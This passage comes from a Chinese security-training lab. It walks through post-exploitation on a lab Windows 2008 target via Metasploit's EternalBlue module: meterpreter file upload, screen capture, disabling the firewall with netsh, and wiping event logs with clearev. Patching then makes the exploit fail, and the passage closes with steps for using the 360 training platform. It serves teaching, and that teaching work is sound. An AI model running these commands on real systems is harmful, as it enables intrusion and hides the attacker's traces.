4. meterpreter > upload /etc/resolv.conf
5. \[*\] uploading : /etc/resolv.conf -> resolv.conf
6. \[*\] Uploaded 54.00 B of 54.00 B (100.0%): /etc/resolv.conf -> resolv.conf
7. \[*\] uploaded : /etc/resolv.conf -> resolv.conf
8. meterpreter > ls
9. Listing: c:\ms17
10. ================
12. Mode Size Type Last modified Name
13. \-\-\-\- \-\-\-\- \-\-\-\- \-\-\-\-\-\-\-\-\-\-\-\-\- \-\-\-\-
14. 100666/rw-rw-rw- 54 fil 2021-11-25 13:36:29 +0800 resolv.conf
3)对靶机执行截屏、录屏操作
确认当前所在的远程目录,然后执行 screenshot 截屏操作:
1. meterpreter > lcd /tmp
2. meterpreter > screenshot
3. Screenshot saved to: /tmp/PFlcNROt.jpeg
5. meterpreter >
根据提示信息,可以知道刚截取的屏幕图片保存在 / tmp/PFlcNROt.jpeg,通过桌面左上角的 “打开文件夹”-> 文件系统 ->tmp,可以看到这个图片文件,如图 - 4 所示。
图 - 4
双击这个图片,可以看到靶机的桌面环境截图,如图 - 5 所示。
图 - 5
与截屏类似的,还可以使用 screenshare 实现录屏:
1. meterpreter > screenshare
2. \[*\] Preparing player...
3. \[*\] Opening player at: /tmp/mMfGSCVb.html
4. \[*\] Streaming...
开始录屏后会自动在浏览器中打开录屏网页,如图 - 6 所示,通过这个网页可以看到靶机的屏幕录像。
图 - 6
录屏操作比较占用资源,一般建议尽量少用。如果需要停止录屏,可以在 screenshare 操作界面按 Ctrl+C 组合键。
4)关闭靶机上的防火墙
先执行 shell 进入靶机的命令行界面,然后通过 Windows 的 netsh 命令来关闭防火墙,最后再执行 exit 返回到 meterpreter > 环境。
1. meterpreter > shell
2. Process 1612 created.
3. Channel 10 created.
4. Microsoft Windows \[�汾 6.1.7601\]
5. ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
7. c:\ms17> netsh advfirewall set allprofiles state off
8. netsh advfirewall set allprofiles state off
9. ȷ����
12. c:\ms17>exit
13. exit
14. meterpreter >
上述 netsh 命令中,末尾的 off 改成 on 可以用来启用防火墙。通过查看 win2008 靶机上防火墙的状态,如图 - 7 所示,可以验证这里的操作是否成功。
图 - 7
5)清除靶机上的安全事件日志
在 meterpreter > 环境执行 clearev,表示清除远程主机的应用程序日志、系统日志、安全日志。
1. meterpreter > clearev -h
2. \[*\] Wiping 497 records from Application...
3. \[*\] Wiping 1678 records from System...
4. \[*\] Wiping 3468 records from Security...
6. meterpreter >
完成清除以后,在 win2008 靶机上打开事件查看器,将无法看到之前的日志记录,如图 - 8 所示。
图 - 8
步骤二:为 win2008 靶机安装漏洞补丁
在 win2008 靶机中找到 2008 的漏洞补丁,如图 - 9 所示,主要包括 KB976932(SP1)、KB4012212、KB4012215。
图 - 9
依次双击补丁文件,完成安装并重启靶机即可,具体过程略。
步骤三:再次从 kali 测试机上执行漏洞攻击
当 win2008 靶机重启以后,重新在 kali 主机上发起 run 攻击,这一次攻击将会无效,因为这个漏洞已经通过安装补丁的方式修补完毕了。
1. msf6 exploit(windows/smb/ms17\_010\_eternalblue) > run
3. \[*\] Started reverse TCP handler on 192.168.10.211:4444
4. \[*\] 192.168.10.128:445 - Executing automatic check (disable AutoCheck to override)
5. \[*\] 192.168.10.128:445 - Using auxiliary/scanner/smb/smb\_ms17\_010 as check
6. \[-\] 192.168.10.128:445 - Host does NOT appear vulnerable.
7. \[*\] 192.168.10.128:445 - Scanned 1 of 1 hosts (100% complete)
8. \[-\] 192.168.10.128:445 - Exploit aborted due to failure: unknown: Cannot reliably check exploitability. Enable ForceExploit to override check result.
9. \[*\] Exploit completed, but no session was created.
6 360 攻防实训平台
6.1 问题
本例要求熟悉 360 攻防实训平台,能够通过云端靶场环境完成相关课程的实验,并了解 360 平台提供的视频、实验等课件资源,相关说明如下。
1)访问https://study.360.cn / 网站,登入实训平台
2)完成实验:渗透测试工具 - Nmap 工具 - Nmap 扫描与 RDP 连接
3)完成实验:信息系统与安全 - 安全意识 - 永恒之蓝漏洞利用
4)自选其他实验
6.2 方案
由于 360 网站存在实时性、时效性,实际看到的网页文字、按钮、课程布局与本章节的案例内容可能有一定偏差,实验时请以真实页面为准。
本例中的登录过程、实验位置等要素仅供参考。
6.3 步骤
实现此案例需要按照如下步骤进行。
步骤一:访问 360 实训平台
在 Windows 主机上通过网页浏览器访问 https://study.360.cn/,如图 - 9 所示。
图 - 9
单击右上角的 “登录” 按钮,使用自己的 360 账号(比如手机号)登录平台,如图 - 10 所示。
图 - 10
成功进入实训平台以后,单击右上角用户名,选择 “实训中心”,在打开的页面中单击上方的 “专业”,如图 - 11 所示,就可以看到自己的课程资源了。
图 - 11
步骤二:完成实验 “渗透测试工具 - Nmap 工具 - Nmap 扫描与 RDP 连接”
1)找到并打开实验
通过 360 平台 ->实训中心 ->专业,找到 “达内 & 360 网络安全工程师班”->“网络协议安全”->“【实验】Kali 平台及工具使用”,如图 - 12 所示,单击“实验” 链接。
图 - 12
2)开始实验
在课程页面中,选择右侧的 “渗透测试工具 - Nmap 工具 - Nmap 扫描与 RDP 连接”,如图 - 13 所示,单击上方的“点击开始” 按钮。
图 - 13
在新打开的页面中,左侧是本实验的说明文档(实验过程中可以参考),右侧是本实验的拓扑结构图,如图 - 14 所示。
图 - 14
准备好开始实验时,可单击上方的 “开始实验” 按钮,确认后,平台将会启用实验中需要用到的虚拟机或设备,同时上方的倒计时将会开始。
3)完成实验操作
等实验环境启动以后,可以单击右侧拓扑图中的设备图标,右侧会出现设备控制栏,如图 - 15 所示。
图 - 15
控制栏会提示此设备的管理账号 / 密码信息,如果要操作此设备,可以点击 “登录终端” 来获得显示控制台,如图 - 16 所示。
图 - 16
对于 Windows 设备来说,需要单击上方的 “Send CtrlALtDel” 按钮来进行登录。选择用户 college,并输入正确的密码(比如 360College),就可以进入这个虚拟机系统了,如图 - 17 所示。
图 - 17
接下来参照实验文档说明,在倒计时结束之前完成本实验,否则实验中的虚拟机会被重置为初始状态(若有必要,也可以再做一遍)。
如果提前完成了实验,可以单击实验页面上方的 “停止实验” 按钮,如图 - 18 所示。
图 - 18
步骤三:完成实验 “信息系统与安全 - 安全意识 - 永恒之蓝漏洞利用”
1)找到并打开实验
通过 360 平台 ->实训中心 ->专业,找到 “达内 & 360 网络安全工程师班”->“Windows 应用安全”->“安全意识”,如图 - 19 所示,单击“实验” 链接。
图 - 19
2)开始实验
在课程页面中,选择右侧的 “安全意识 - 永恒之蓝漏洞利用”,如图 - 20 所示,单击上方的“点击开始” 按钮。
图 - 20
后续的实验方法与前例类似,这里不再赘述。
只需要按照实验文档要求,在规定的时间内完成实验即可。
步骤四:自选其他实验
按需选择,过程略。
https://tts.tmooc.cn/ttsPage/NTD/NTDTN202109/NETSEC/DAY03/CASE/01/index.html